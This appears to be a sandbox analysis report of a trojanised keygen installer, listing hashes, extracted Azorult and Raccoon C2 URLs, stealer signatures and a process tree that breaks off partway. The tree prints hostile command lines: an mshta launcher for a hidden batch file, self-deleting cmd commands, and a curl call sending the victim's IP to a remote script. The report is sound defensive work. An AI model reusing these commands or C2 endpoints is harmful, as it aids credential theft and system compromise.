Analysis

  • max time kernel
    117s
  • max time network
    305s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    05-03-2021 05:12

General

  • Target

    Quest_Space_Manager_with_keygen.exe

  • Size

    8.6MB

  • MD5

    4c5d5630a17759bff9cb25a75a6de902

  • SHA1

    7e30a081298ef34a5f7db00607f10c72464e4c96

  • SHA256

    45411d2b5bf4e2d0e75af577252aba0a84ccc51e7b05e9b67a54390bb7aab8d8

  • SHA512

    09d2a7fa28f88dd5c622b99318a7d68b1c3f9f6fa3edbe589cb067478dba73e790346b967599dde0745e8afeded0096c99d796206f691c34c903c97a01db80f3

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

raccoon

Botnet

51c194bfb6e404af0e5ff0b93b443907a6a845b1

Attributes
  • url4cnc

    https://telete.in/h_focus_1

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

  • ElysiumStealer Payload 3 IoCs
  • ElysiumStealer Support DLL 1 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 3 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Nirsoft 4 IoCs
  • Executes dropped EXE 16 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 11 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Quest_Space_Manager_with_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\Quest_Space_Manager_with_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2952
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2980
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:1468
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:3452
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3504
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:804
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:2812
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1612
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
            4⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1928
            • C:\Users\Admin\AppData\Roaming\E4E2.tmp.exe
              "C:\Users\Admin\AppData\Roaming\E4E2.tmp.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1236
              • C:\Users\Admin\AppData\Roaming\E4E2.tmp.exe
                "C:\Users\Admin\AppData\Roaming\E4E2.tmp.exe"
                6⤵
                • Executes dropped EXE
                • Checks processor information in registry
                • Suspicious behavior: EnumeratesProcesses
                PID:2164
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2276
              • C:\Windows\SysWOW64\PING.EXE
                ping 127.0.0.1
                6⤵
                • Runs ping.exe
                PID:3876
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3852
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:508
            • C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe
              C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              • Checks SCSI registry key(s)
              • Suspicious use of SetWindowsHookEx
              PID:964
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:2216
              • C:\Users\Admin\AppData\Roaming\1614924708944.exe
                "C:\Users\Admin\AppData\Roaming\1614924708944.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614924708944.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3332
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                  PID:1636
                • C:\Users\Admin\AppData\Roaming\1614924714257.exe
                  "C:\Users\Admin\AppData\Roaming\1614924714257.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614924714257.txt"
                  6⤵
                    PID:500
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    6⤵
                      PID:3844
                    • C:\Users\Admin\AppData\Roaming\1614924720491.exe
                      "C:\Users\Admin\AppData\Roaming\1614924720491.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614924720491.txt"
                      6⤵
                        PID:1460
                      • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                        C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                        6⤵
                          PID:5220
                        • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                          "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                          6⤵
                            PID:5320
                        • C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe
                          C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp1
                          5⤵
                          • Executes dropped EXE
                          • Writes to the Master Boot Record (MBR)
                          • Checks SCSI registry key(s)
                          • Suspicious use of SetWindowsHookEx
                          PID:812
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c taskkill /f /im chrome.exe
                            6⤵
                              PID:3692
                              • C:\Windows\SysWOW64\taskkill.exe
                                taskkill /f /im chrome.exe
                                7⤵
                                • Kills process with taskkill
                                PID:1588
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"
                              6⤵
                                PID:3024
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping 127.0.0.1 -n 3
                                  7⤵
                                  • Runs ping.exe
                                  PID:3752
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                              5⤵
                                PID:2080
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping 127.0.0.1 -n 3
                                  6⤵
                                  • Runs ping.exe
                                  PID:3212
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
                              4⤵
                              • Executes dropped EXE
                              PID:64
                              • C:\Users\Admin\AppData\Local\Temp\RBB0U1V76O\multitimer.exe
                                "C:\Users\Admin\AppData\Local\Temp\RBB0U1V76O\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                5⤵
                                • Executes dropped EXE
                                PID:1328
                                • C:\Users\Admin\AppData\Local\Temp\RBB0U1V76O\multitimer.exe
                                  "C:\Users\Admin\AppData\Local\Temp\RBB0U1V76O\multitimer.exe" 1 3.1614921332.6041be74b19fd 101
                                  6⤵
                                    PID:1000
                                    • C:\Users\Admin\AppData\Local\Temp\RBB0U1V76O\multitimer.exe
                                      "C:\Users\Admin\AppData\Local\Temp\RBB0U1V76O\multitimer.exe" 2 3.1614921332.6041be74b19fd
                                      7⤵
                                        PID:1224
                                        • C:\Users\Admin\AppData\Local\Temp\zyyakmzafxr\3svzojzqhq3.exe
                                          "C:\Users\Admin\AppData\Local\Temp\zyyakmzafxr\3svzojzqhq3.exe" /VERYSILENT
                                          8⤵
                                            PID:3972
                                            • C:\Users\Admin\AppData\Local\Temp\is-BGAHK.tmp\3svzojzqhq3.tmp
                                              "C:\Users\Admin\AppData\Local\Temp\is-BGAHK.tmp\3svzojzqhq3.tmp" /SL5="$C0048,870426,780800,C:\Users\Admin\AppData\Local\Temp\zyyakmzafxr\3svzojzqhq3.exe" /VERYSILENT
                                              9⤵
                                                PID:4120
                                                • C:\Users\Admin\AppData\Local\Temp\is-RBNQB.tmp\winlthst.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\is-RBNQB.tmp\winlthst.exe" test1 test1
                                                  10⤵
                                                    PID:2324
                                                    • C:\Users\Admin\AppData\Local\Temp\U5aJZvn8r.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\U5aJZvn8r.exe"
                                                      11⤵
                                                        PID:1320
                                                • C:\Users\Admin\AppData\Local\Temp\s3ijumicvsd\safebits.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\s3ijumicvsd\safebits.exe" /S /pubid=1 /subid=451
                                                  8⤵
                                                    PID:4056
                                                  • C:\Users\Admin\AppData\Local\Temp\jy3cmosjgen\askinstall24.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\jy3cmosjgen\askinstall24.exe"
                                                    8⤵
                                                      PID:4156
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /c taskkill /f /im chrome.exe
                                                        9⤵
                                                          PID:5080
                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                            taskkill /f /im chrome.exe
                                                            10⤵
                                                            • Kills process with taskkill
                                                            PID:4524
                                                      • C:\Users\Admin\AppData\Local\Temp\j12ugtbolam\Setup3310.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\j12ugtbolam\Setup3310.exe" /Verysilent /subid=577
                                                        8⤵
                                                          PID:4140
                                                          • C:\Users\Admin\AppData\Local\Temp\is-EC68B.tmp\Setup3310.tmp
                                                            "C:\Users\Admin\AppData\Local\Temp\is-EC68B.tmp\Setup3310.tmp" /SL5="$2023C,802346,56832,C:\Users\Admin\AppData\Local\Temp\j12ugtbolam\Setup3310.exe" /Verysilent /subid=577
                                                            9⤵
                                                              PID:4212
                                                              • C:\Users\Admin\AppData\Local\Temp\is-SEPC5.tmp\Setup.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\is-SEPC5.tmp\Setup.exe" /Verysilent
                                                                10⤵
                                                                  PID:4608
                                                                  • C:\Users\Admin\AppData\Local\Temp\is-KO2E1.tmp\Setup.tmp
                                                                    "C:\Users\Admin\AppData\Local\Temp\is-KO2E1.tmp\Setup.tmp" /SL5="$20440,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-SEPC5.tmp\Setup.exe" /Verysilent
                                                                    11⤵
                                                                      PID:4204
                                                                      • C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\ProPlugin.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\ProPlugin.exe" /Verysilent
                                                                        12⤵
                                                                          PID:5336
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-JR10S.tmp\ProPlugin.tmp
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-JR10S.tmp\ProPlugin.tmp" /SL5="$20304,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-JF0TP.tmp\ProPlugin.exe" /Verysilent
                                                                            13⤵
                                                                              PID:2900
                                                                              • C:\Users\Admin\AppData\Local\Temp\is-354KQ.tmp\Setup.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\is-354KQ.tmp\Setup.exe"
                                                                                14⤵
                                                                                  PID:3968
                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX2\main.exe"
                                                                                    15⤵
                                                                                      PID:6012
                                                                                      • C:\Windows\regedit.exe
                                                                                        regedit /s chrome.reg
                                                                                        16⤵
                                                                                        • Runs .reg file with regedit
                                                                                        PID:4612
                                                                                      • C:\Windows\SYSTEM32\TASKKILL.exe
                                                                                        TASKKILL /F /IM chrome.exe
                                                                                        16⤵
                                                                                        • Kills process with taskkill
                                                                                        PID:5620
                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX2\curl.exe
                                                                                        curl.exe "https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=US&app=Staoism&payoutcents=0.08&ver=3.5" -k
                                                                                        16⤵
                                                                                          PID:2432
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c chrome64.bat
                                                                                          16⤵
                                                                                            PID:1400
                                                                                            • C:\Windows\system32\mshta.exe
                                                                                              mshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)
                                                                                              17⤵
                                                                                                PID:5968
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX2\chrome64.bat" h"
                                                                                                  18⤵
                                                                                                    PID:4476
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe"
                                                                                                      19⤵
                                                                                                        PID:4300
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffb7f676e00,0x7ffb7f676e10,0x7ffb7f676e20
                                                                                                          20⤵
                                                                                                            PID:3900
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1696 /prefetch:8
                                                                                                            20⤵
                                                                                                              PID:4240
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1632 /prefetch:2
                                                                                                              20⤵
                                                                                                                PID:4988
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2688 /prefetch:1
                                                                                                                20⤵
                                                                                                                  PID:6296
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2696 /prefetch:1
                                                                                                                  20⤵
                                                                                                                    PID:6308
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3192 /prefetch:8
                                                                                                                    20⤵
                                                                                                                      PID:6344
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:1
                                                                                                                      20⤵
                                                                                                                        PID:6360
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3840 /prefetch:1
                                                                                                                        20⤵
                                                                                                                          PID:6408
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1
                                                                                                                          20⤵
                                                                                                                            PID:6400
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:1
                                                                                                                            20⤵
                                                                                                                              PID:6352
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3160 /prefetch:8
                                                                                                                              20⤵
                                                                                                                                PID:6472
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4280 /prefetch:8
                                                                                                                                20⤵
                                                                                                                                  PID:6576
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3188 /prefetch:8
                                                                                                                                  20⤵
                                                                                                                                    PID:6624
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4952 /prefetch:8
                                                                                                                                    20⤵
                                                                                                                                      PID:7008
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3208 /prefetch:8
                                                                                                                                      20⤵
                                                                                                                                        PID:7084
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3996 /prefetch:8
                                                                                                                                        20⤵
                                                                                                                                          PID:2976
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
                                                                                                                                          20⤵
                                                                                                                                            PID:7068
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x228,0x248,0x7ff620c77740,0x7ff620c77750,0x7ff620c77760
                                                                                                                                              21⤵
                                                                                                                                                PID:7136
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1644 /prefetch:8
                                                                                                                                              20⤵
                                                                                                                                                PID:6548
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3488 /prefetch:8
                                                                                                                                                20⤵
                                                                                                                                                  PID:6180
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4104 /prefetch:8
                                                                                                                                                  20⤵
                                                                                                                                                    PID:3960
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4188 /prefetch:8
                                                                                                                                                    20⤵
                                                                                                                                                      PID:3392
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4752 /prefetch:8
                                                                                                                                                      20⤵
                                                                                                                                                        PID:5116
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4460 /prefetch:8
                                                                                                                                                        20⤵
                                                                                                                                                          PID:5260
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3928 /prefetch:8
                                                                                                                                                          20⤵
                                                                                                                                                            PID:5128
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5068 /prefetch:8
                                                                                                                                                            20⤵
                                                                                                                                                              PID:6756
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4056 /prefetch:8
                                                                                                                                                              20⤵
                                                                                                                                                                PID:4484
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,11053440438604242738,836862065749716184,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4404 /prefetch:8
                                                                                                                                                                20⤵
                                                                                                                                                                  PID:6120
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
